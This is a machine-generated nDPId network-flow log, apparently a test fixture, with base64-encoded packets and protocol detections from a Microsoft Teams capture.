+00599{"flow_id":68,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2542,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":698272,"pkt_caplen":195,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":195,"pkt_l4_len":161,"pkt":"KDc3AG3IEBMx8Tl2CABFAAC1VxYAAGwRBoY0cvp7wKgBBg2Ww3QAoWPcAQMAhSESpELOvwn047sA+HEU4bYADwAEcsZLxgANAAQAAAA8AAEACAABDZg0cvqJgAgABAAAAAaAIAAIAAHObHGnagqAUAAYmiULR7BQSjV7GJ7mOy6WXuQ5anUAAAAAgCIACTIuMC4xLjIxMQAQAAQAAC7gAAgAIJWLEhTAIKUMzT0EuyGZ9cU94RPVJanGef0JixSMSj4H"} +00688{"flow_id":71,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2543,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":711026,"pkt_caplen":256,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":256,"pkt_l4_len":222,"pkt":"EBMx8Tl2KDc3AG3ICABFAADyfgoAAEARC0PAqAEGNHL6jcNhDZYA3rEpAAMAwiESpEJLDXUDhL3sfvdJg10ADwAEcsZLxoA3AAQAAAACgAgABAAAAAaABgAEAAAAAQAQAAQAAC7ggFUABAACAAKAlQAIkFC\/JA7FjfoAFAAUPpo\/SSn4PJAIkOO6zaqfvtmAt1IAFQAKInJ0Y21lZGlhIgAGADgCAAAkkKDb2wHWGU3iFTe\/yZKgAzJzGvG+3Faa6DvVqwAAAAC\/cbJ2yXgTqN3v61y8eTonekzmPAAIACBfcijkK3I1E6fsjRiPsKvs33Xfpf\/cKnDyh7VrIY168g=="} +00647{"flow_id":73,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2545,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":714142,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"KDc3AG3IEBMx8Tl2CABFAADXVxcAAGwRBlU0cvqJwKgBBg2Ww3UAwwtKARMApyESpEJNv3gTxWrFDZ5wS8sADwAEcsZLxoAIAAQAAAAGAAkAPQAABAFUaGUgcmVxdWVzdCBkaWQgbm90IGNvbnRhaW4gYSBNZXNzYWdlLUludGVncml0eSBhdHRyaWJ1dGUADgAIAAENljRy+okAFAAUc60+h2VE9PTAWxn4K2V6NOmKA20AFQAKInJ0Y21lZGlhIgABAAgAAQ2YNHL6iYCVAAjDwJ1K7o6J+oAgAAgAAcBocadqCg=="} +00600{"flow_id":71,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2551,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":756239,"pkt_caplen":195,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":195,"pkt_l4_len":161,"pkt":"KDc3AG3IEBMx8Tl2CABFAAC1fJcAAGwR4PI0cvqNwKgBBg2Ww2EAoTssAQMAhSESpEJLDXUDhL3sfvdJg10ADwAEcsZLxgANAAQAAAA8AAEACAABDZg0cvqNgAgABAAAAAaAIAAIAAHME3GnagqAUAAYLOxJmLF8a9P8QJMpg69OprVoITMAAAAAgCIACTIuMC4xLjIxMQAQAAQAAC7gAAgAIMhO7y5FcPLOAgpkLIJifRx7Dv8ek2QLf5zo\/BiwDhB4"} +00688{"flow_id":73,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2552,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":763689,"pkt_caplen":256,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":256,"pkt_l4_len":222,"pkt":"EBMx8Tl2KDc3AG3ICABFAADy1jgAAEARsxjAqAEGNHL6icN1DZYA3qn\/AAMAwiESpEK\/FrW6Bpt+jaFgT0IADwAEcsZLxoA3AAQAAAACgAgABAAAAAaABgAEAAAAAQAQAAQAAC7ggFUABAACAAKAlQAIw8CdSu6OifoAFAAUc60+h2VE9PTAWxn4K2V6NOmKA20AFQAKInJ0Y21lZGlhIgAGADgCAAAkkKDb2wHWGU3iFTe\/yZKgAzJzGvG+3Faa6DvVqwAAAAC\/cbJ2yXgTqN3v61y8eTonekzmPAAIACAOMJjC3yWHP2a8uRvQ6tdNq4Cf2VvwjY\/Ply+68rS7wg=="} +00603{"flow_id":73,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2556,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":808734,"pkt_caplen":195,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":195,"pkt_l4_len":161,"pkt":"KDc3AG3IEBMx8Tl2CABFAAC1VxgAAGwRBnY0cvqJwKgBBg2Ww3UAoXQEAQMAhSESpEK\/FrW6Bpt+jaFgT0IADwAEcsZLxgANAAQAAAA8AAEACAABDZg0cvqJgAgABAAAAAaAIAAIAAHAaHGnagqAUAAYaOUMdiD0+ug9lexVR\/3YR6\/W6KUAAAAAgCIACTIuMC4xLjIxMQAQAAQAAC7gAAgAIL4g0LfB18yA2q\/RVWXcDhE8D9XtCMo2nCqOglxViaD8"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2559,"source":"teams.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1587041693828,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.152","src_port":50014,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":74,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2559,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":828302,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGSf\/AqAEGNHL6mMNeAbvdNMkXAAAAALAC\/\/\/QFQAAAgQFtAEDAwUBAQgKMITaQwAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2562,"source":"teams.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1587041693849,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.153","src_port":50036,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":75,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2562,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":849498,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGSf7AqAEGNHL6mcN0AbuMksvlAAAAALAC\/\/8dvwAAAgQFtAEDAwUBAQgKMITaVwAAAAAEAgAA"} +00427{"flow_id":74,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2564,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":869354,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0nZxAAGwGgG40cvqYwKgBBgG7w17cXACa3TTJGIAS\/\/81\/QAAAgQFoAEDAwgBAQQC"} +00408{"flow_id":74,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2565,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":869423,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGShfAqAEGNHL6mMNeAbvdNMkY3FwAm1AQIABWvAAA"} +00644{"flow_id":74,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2566,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":869663,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"EBMx8Tl2KDc3AG3ICABFAADWAABAAEAGSWnAqAEGNHL6mMNeAbvdNMkY3FwAm1AYIACuOQAAFgMBAKkBAAClAwNemFWd9sBVDmqpQ1JOmTf85+s9vRwXDIKd7RSpfqD9hwAALAD\/wCzAK8AkwCPACsAJwAjAMMAvwCjAJ8AUwBPAEgCdAJwAPQA8ADUALwAKAQAAUAAAABMAEQAADjUyLjExNC4yNTAuMTUyAAoACAAGABcAGAAZAAsAAgEAAA0AEgAQBAECAQUBBgEEAwIDBQMGAwAFAAUBAAAAAAASAAAAFwAA"} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2566,"source":"teams.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":4,"flow_first_seen":1587041693828,"flow_last_seen":1587041693869,"flow_tot_l4_data_len":290,"flow_min_l4_data_len":20,"flow_max_l4_data_len":194,"flow_avg_l4_data_len":72,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.152","src_port":50014,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1.2","client_requested_server_name":"52.114.250.152","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00426{"flow_id":75,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2567,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":893017,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0NypAAGwG5t80cvqZwKgBBgG7w3QJhgXYjJLL5oAS\/\/9RUwAAAgQFoAEDAwgBAQQC"} +00408{"flow_id":75,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2568,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":893121,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGShbAqAEGNHL6mcN0AbuMksvmCYYF2VAQIAByEgAA"} +00645{"flow_id":75,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2569,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":893319,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"EBMx8Tl2KDc3AG3ICABFAADWAABAAEAGSWjAqAEGNHL6mcN0AbuMksvmCYYF2VAYIAA4UQAAFgMBAKkBAAClAwNemFWd\/1XCA+79geTWEWiWwTsvTSnBi9NExcEsdrOoSgAALAD\/wCzAK8AkwCPACsAJwAjAMMAvwCjAJ8AUwBPAEgCdAJwAPQA8ADUALwAKAQAAUAAAABMAEQAADjUyLjExNC4yNTAuMTUzAAoACAAGABcAGAAZAAsAAgEAAA0AEgAQBAECAQUBBgEEAwIDBQMGAwAFAAUBAAAAAAASAAAAFwAA"} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2569,"source":"teams.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":4,"flow_first_seen":1587041693849,"flow_last_seen":1587041693893,"flow_tot_l4_data_len":290,"flow_min_l4_data_len":20,"flow_max_l4_data_len":194,"flow_avg_l4_data_len":72,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.153","src_port":50036,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1.2","client_requested_server_name":"52.114.250.153","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +02359{"flow_id":74,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2576,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":912361,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUnZ1AAGwGes00cvqYwKgBBgG7w17cXACb3TTJxlAQCARdzwAAFgMDF+kCAABVAwNemFWdM9zHzxbjC7QANdHz8AfaCDM7kl4CH3iC8m+C5SA8HQAAdg+4AWMXjI8CbVJCHoa9vuL+BAQY6d2I21i7H8AwAAANAAUAAAAXAAD\/AQABAAsADuwADukACSswggknMIIHD6ADAgECAhMtAAZemCjIP80XJ2CuAAAABl6YMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTAeFw0xOTA1MjQxNDEwMjZaFw0yMTA1MjQxNDEwMjZaMCExHzAdBgNVBAMTFnRyLnRlYW1zLm1pY3Jvc29mdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCLTNHPfgLoOgUfyR4c2CDg+CoBg7bwaQp6OOdTLjN80e6165bdZW8ryNWADQBv\/\/6Ld1H5eQQNetSDwVifHVU+CteBiHg6T9F1rA96B1Fk1nARcGhMPsZbgvGxJ+NR6ygkRK7GWC6KFZyOiZ0MvWyxQTJBlsBwklHTiX9D0fiSz06Q+tVkIHpWWHGkJRO+Tm3UUtCMr7e1K4eQloaVRg1AeMGEhZEaGXyKum9VwAP15maK0zwKMiUymx8uWFHW4J0+7wZd9kZyUeJvDO2QDZvxPl5w9NBzvGZUQFIkRD+XvUanlt9AtvhnDy5BiPzueeQgaJbyvyJl4Af8nIo8gppfAgMBAAGjggTrMIIE5zCCAfUGCisGAQQB1nkCBAIEggHlBIIB4QHfAHYA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAFq6jb0ngAABAMARzBFAiEA+SbPYnNZBq5NAa+KJuZcLJF6Cs7c51vg2wno92Y73cQCIFui0LePG9Yu0H+TqmpdeWJeVlJ0KiyWWMKI6D92L\/K3AHUAVYHUwhaQNgFK6gubVzxT8MDkOHhwJQgXL6OqHQcT0wwAAAFq6jb1LQAABAMARjBEAiAZDnc3oPi8LaNBy6Df89WOlPch018jWvYNKaDO2U51nQIgYZuZffTHCtDDZ3lWVJgiVsjUCTGqki0p6MIBuSQoIfUAdwBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAWrqNvNaAAAEAwBIMEYCIQChq4nHPM4twtbxyAgrDLE3a797eV+6L2EiO6pBrFmrUAIhANBHWXnY9HAcs6WqVRp9r8q8wlaSY9pBfB7vJlbCShQPAHUARJRlLrDuzq\/EQAfYqP4owNrmgr7YyzG1P9MzlrW2gagAAAFq6jb0QQAABAMARjBEAiAzKKpy8ELEm5AO\/Cl8weRDML0CJ7IOPZ2GbRbx\/8vxWgIgDCW1c1pNKCE9DA2mbQwKGa4Z2H7dNtIRrzU4ZJcZOr8wJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBSC313bBDWiwUMAeq0EgFmCSqbJVzALBgNVHQ8EBAMC"} +01144{"flow_id":74,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2577,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":912478,"pkt_caplen":602,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":602,"pkt_l4_len":568,"pkt":"KDc3AG3IEBMx8Tl2CABFAAJMnZ5AAGwGflQ0cvqYwKgBBgG7w17cXAZH3TTJxlAYCAT9qQAABLAwgZAGA1UdEQSBiDCBhYIWdHIudGVhbXMubWljcm9zb2Z0LmNvbYIYKi50ci50ZWFtcy5taWNyb3NvZnQuY29tghh0dXJuLnRlYW1zLm1pY3Jvc29mdC5jb22CGioudHVybi50ZWFtcy5taWNyb3NvZnQuY29tghsqLnJlbGF5LnRlYW1zLm1pY3Jvc29mdC5jb20wgawGA1UdHwSBpDCBoTCBnqCBm6CBmIZLaHR0cDovL21zY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3JshklodHRwOi8vY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3JsME0GA1UdIARGMEQwQgYJKwYBBAGCNyoBMDUwMwYIKwYBBQUHAgEWJ2h0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NwczAfBgNVHSMEGDAWgBQI\/iWfdOqHBMK8u46oOF8zxtFsZTAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDQYJKoZIhvcNAQELBQADggIBABCcisiO+DAS4OPnUkT5drdGW+ySCAd1BsW3Lp1Fdet9nBRcfBcsaKZ66uJsRxluxJrhagjZ4fh8tXKFj90="} +00408{"flow_id":74,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2578,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":912518,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGShfAqAEGNHL6mMNeAbvdNMnG3FwIa1AQH8FOfQAA"} +02370{"flow_id":74,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2579,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":912851,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUnZ9AAGwGess0cvqYwKgBBgG7w17cXAhr3TTJxlAQCATrYwAAW6sdwoMA3bRkqxv5VpjyajDfFXWqL4G9QZfl841dfR9SjQLMnRDtMHjHLLEHhJCKLU2ikazGCdNZMqtfaxeWquCIWw56s0bCKwmin9Y3DIsAdEejps5dwVGPEJfdlpEbIxcuBzCIRY0C23wA8SsmAke7nyJfwnrDoCjE4H7m3XXod08er9hfv0q4nITSnedP3o61Oc42o6ZTtprTcb83jeNHnfqPTx\/r7JoPcNdqLrU2S9F5B\/3\/72kY0IJW8GVz3JfVywG\/oGQZf4DtR+N9iCPyVunnsxwatk5VQeVSeoKWofbhmm5\/59\/eJyGGKNh6xcOod+zQ\/yRc87f6tHNG2YoyFngY2b4iSL5cKDGkUG4HW8AD3tnSSMB+eS+kUxAHQWzl9sk8GGj5SN\/h6yZsZx0M8Cajppy8O10hsA4MnuDtB3uK64JLD12Do4vw3+8vrlcfGCUgqrNGgRVPtSVulxGnCvWOq0JhUVItmI195Is0h3MiJgXc2KNuZpMfbIcuyiiUJx2zdkFT81nL1PidcMdiaFVUoMih7rr4UtgVbmkgKemK\/Z7z3no4iLWFOB0NszihbN+mXEPfve7ERdipQf9N4gAFuDCCBbQwggScoAMCAQICEAiIzVJfGSRETRSlgpHeuVIwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVyVHJ1c3QgUm9vdDAeFw0xNjA1MjAxMjUzMDNaFw0yNDA1MjAxMjUzMDNaMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJrfgVw7j67peZa5mnmngfI52lUoRiMCxYJmB7YV3v2cOhqbkQnSZo8LiRf4cYchfzjTP5olALc10Kv4CHo281Bb3yspJ96k3SSS+vTGcI02KprwgN41+h5CnQmBqtUHChalxVpCbUK+HkKCtFcwmVtFK9SP0woGxnOTpOGD78W\/BSeneM2zC+CeIhbzmNymFOjMlNcj+dBQmbu1CxCV8d8C6Y+OnVaZPNiP01j7XJJ+PXv4UEla9xB7d\/jmSpBKVVLelK10CaBkVyzNB5CfFq2Vw9EGuvHvbAW1BKyp3Bsxmw4tGZUET95my601cq8ZggiyFDoWX7A8m9uNDLAC1iYf6BVxxO\/5YzlDjOnCki6hwqAwJQ6WJ1+eoyuC1hC9PBkepof+VSE6XEH8AZjML5L\/Zji0uGacDxJoS0qshrtemP+eppxTbDMRpNCuUkfXi4\/xlqy5KZqPLPGtZBjDJrsAZN5QcMC77MZrrtOg78DxXA3yzHpZ2hgzL1kQrWcULF8iQ0pE4ejd4OdVFk4J7wNMDEhQWvAD347vY8pbZ4dDQCwGth8PPlPAZj\/XFBXmCGKYSH6D5ae1XVEtVC1h\/TRd1LeAzdJ9zrEkO\/OXbGwT3ooXyYr1SJVC9xKQ4xAX9qEAxTYqZZGeBexCLlq4mRv\/1E61+mZV2YOOvwgpjfoLAgMBAAGjggFCMIIBPjAdBgNVHQ4EFgQUCP4ln3TqhwTCvLuOqDhfM8bRbGUwHwYDVR0jBBgwFoAU5Z1ZMIJHWMys+ghUNoZ7OrUETfAwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwJwYDVR0lBCAwHgYIKwYBBQUHAwEGCCsGAQUF"} +00408{"flow_id":74,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2580,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":912924,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGShfAqAEGNHL6mMNeAbvdNMnG3FwOF1AQIABIkgAA"} +01152{"flow_id":74,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2581,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":913230,"pkt_caplen":602,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":602,"pkt_l4_len":568,"pkt":"KDc3AG3IEBMx8Tl2CABFAAJMnaBAAGwGflI0cvqYwKgBBgG7w17cXA4X3TTJxlAYCAQDhAAABwMCBggrBgEFBQcDCTA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vT21uaXJvb3QyMDI1LmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzANBgkqhkiG9w0BAQsFAAOCAQEAPvLPMKV6vx5q3zlYGCg8w53u54HFS\/xn9r8fTjfa3vCv7or5A3tgZ3THO9r\/K0rr\/VR1E4vlwoESulISILopijrNQyTM1RcF\/pwWP3PgbUHAdj3yq0jFWWJkukRPChiCP0HqPxg6WOegMFd19dFqMRS2lJll2rboAd7kq\/u18+UZChhfpAJX3rZcJm9z\/i4J9QhDxA\/HJH+dKGdlodxb8Dr9+HCF56VPJN5CPx1EO12FBoUdHhzU2U5R5P0eERbMngDZlxqX42XHhjUbU3a+MtEsQUlLoz6TDFt3VwcwPDWLjNFpoif6VeirnRAe0RffumyJ08lb1wuUiKnYtJXXjhYABysBAAcnMIIHIwoBAKCCBxwwggcYBgkrBgEFBQcwAQEEggcJMIIHBTCBx6IWBBQodwHOZZ6LuFUo+CvPI9\/FvHYaTBgPMjAyMDA0MTUxNzA="} +00409{"flow_id":74,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2582,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":913259,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGShfAqAEGNHL6mMNeAbvdNMnG3FwQO1AQH+5GgAAA"} +02368{"flow_id":74,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2583,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":913477,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUnaFAAGwGesk0cvqYwKgBBgG7w17cXBA73TTJxlAQCASc0wAANTA1WjCBmzCBmDBMMAkGBSsOAwIaBQAEFCmF\/GE9vi+wEg9eQg5MnsPVnv18BBQI\/iWfdOqHBMK8u46oOF8zxtFsZQITLQAGXpgoyD\/NFydgrgAAAAZemIAAGA8yMDIwMDQxNTE3MDUwNVqgERgPMjAyMDA0MTkxNzA1MDVaoSIwIDAeBgkrBgEFBQcwAQYEERgPMjAxOTA0MTYxNzA1MDVaMA0GCSqGSIb3DQEBCwUAA4IBAQAeBlju+Bk8y9loNywmQduZG4vnsADIVOxrHwFDnlBuunDk3ICaZx4wK6m9ivD5M022cpjNZnVqryu4PhlvNBEmbfkg8kao6U8HlpI2WvX78jsc4bJjy+2Gu7b44KpbB8D3\/z16ntBvpqRM3nFjhy\/osreAQDPfZBdXsFDqYwBgcr21zhN+a+2xDJiymBT2ez9LWXwRVTa0vspjfdNsak2ljytLjN8EglWs2FjRqVz0aTyPocmLxHKlAs0Sc\/TyGsqYQomSLPABh0rsRmXkqE0dNpzs6a1b7XwxHlOi8n9+XwMR7di1d5FAi1XR3XPr91vUU4nTGA1yy3\/MpPq+1L1IoIIFIzCCBR8wggUbMIIDA6ADAgECAhNuABXTTwZmllgRJK\/RAAAAFdNPMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4